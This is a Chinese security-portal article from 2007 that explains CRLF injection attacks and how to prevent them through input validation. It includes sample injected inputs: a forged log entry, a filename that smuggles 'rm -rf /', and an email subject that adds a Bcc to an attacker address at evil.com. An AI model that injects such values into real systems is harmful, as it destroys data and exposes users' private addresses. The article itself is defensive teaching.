通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
CRLF注入攻击原理和防范措施
责任编辑:水土不服   更新日期:2007-1-24
 

CRLF注入攻击并没有像其它类型的攻击那样著名。但是,当对有安全漏洞的应用程序实施CRLF注入攻击时,这种攻击对于攻击者同样有效,并且对用户造成极大的破坏。让我们看看这些应用程序攻击是如何实施的和你能够采取什么措施保护你的机构。

CRLF的含义是“carriage return/line feed”,意思就是回车。这是两个ASCII字符,分别排在第十三和第十位。CR和LF是在计算机终端还是电传打印机的时候遗留下来的东西。电传打字机就像普通打字机一样工作。在每一行的末端,CR命令让打印头回到左边。LF命令让纸前进一行。虽然使用卷纸的终端时代已经过去了,但是,CR和LF命令依然存在,许多应用程序和网络协议仍使用这些命令作为分隔符。

攻击者在搜索安全漏洞的时候没有忽略很少使用的CRLF。攻击者可以通过在一段数据中加入CRLF命令来改变接受这个数据的应用程序处理这个数据的方式,从而执行CFRL注入攻击。

CRLF攻击最基本的例子包括向记录文件中增加伪造的记录。也就是说,有安全漏洞的应用程序把一个用户输入的内容写到系统记录文件中。攻击者可以提供如下输入内容:

Testing123MYSQL DATABASE ERROR: TABLE CORRUPTION

当系统管理员在早上查看他的纪录时,他可能会用很多时间排除一个根本就不存在的故障。狡猾的攻击者在攻击系统的另一部分时,可以使用这种特洛伊木马分散管理员的注意力。

想像一下,一个应用程序收到用户输入的一个文件名,然后对那个文件执行一个指令,如“ls -a .”。如果这个应用程序存在CRLF安全漏洞,攻击者就可以输入这样的内容:

File.txtrm -rf /

这个有安全漏洞的应用程序就会执行这个命令“ls -a File.txt”,然后再执行这个命令“rm -rf /”。如果这个应用程序是一个根程序,这可能就是它执行的最后一个命令,因为在根分区的全部文件都被删除了。

考虑使用一种CRFL注入攻击暴露使用一种基于网络的匿名电子邮件系统的某个人的电子邮件地址。那个电子邮件系统的工作方式可能是这样的:电子邮件的发送者用他们的电子邮件地址、信息主题和信息本身填写一个表格。当这个表格递交到网络服务器上的时候,网络服务器把这个表格转换为一个SMTP电子邮件,并且发送给收件人。发送者永远不会看到收件人的电子邮件地址。这个地址只有服务器知道。

如果这个应用程序存在CRLF攻击安全漏洞,电子邮件的发件人可以通过创建下面这样的一行主题来破坏收件人的匿名性:

Subject: Peekaboo, I see youBcc: sender@evil.com

当有安全漏洞的应用程序得到这个数据的时候,它向这个邮件的文件头增加一个不需要的行,创建一个发送到发件人邮件地址的这封邮件的盲送副本。在这个副本中,“To:”地址是看不到的,因此把收件人的邮件地址暴露给发送者。

使用良好的编程技术能够避免包括CRLF攻击在内的注入攻击。要使你的应用程序不受CRFL注入攻击,需要你保持与防御SQL注入攻击等其它类型的注入攻击一样的警惕性:永远不要相信输入的内容!在你控制范围以外的任何来源的输入内容都必须要进行检查,在你的应用程序对数据执行操作之前,任何不符合预期的数据类型的字符都要删除。例如,如果你期待着一个电子邮件主题行,这个数据中的所有的字符都应该是字母、数字和标点符号。如果你的应用程序期待着一个文件名,这个数据中只能包含合法地在文件名中使用的字符。如果程序员在这两个例子的情况下简单地过滤掉CR和LF字符,这个攻击就失败了。

用户输入是“坏字符”的一个来源。但是,你不要忘记检查你从来没有编写过的其它程序输入的内容。在许多情况下,攻击者可以把一个注入攻击从一个有漏洞的应用程序转移到一个基本的例行程序中。程序员不会检查基本的例行程序中的数据,因为那里的数据不是直接来自于用户。你要把任何你不能跟踪到可信赖的来源的数据都当作被感染的数据。这样,你就安全了。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题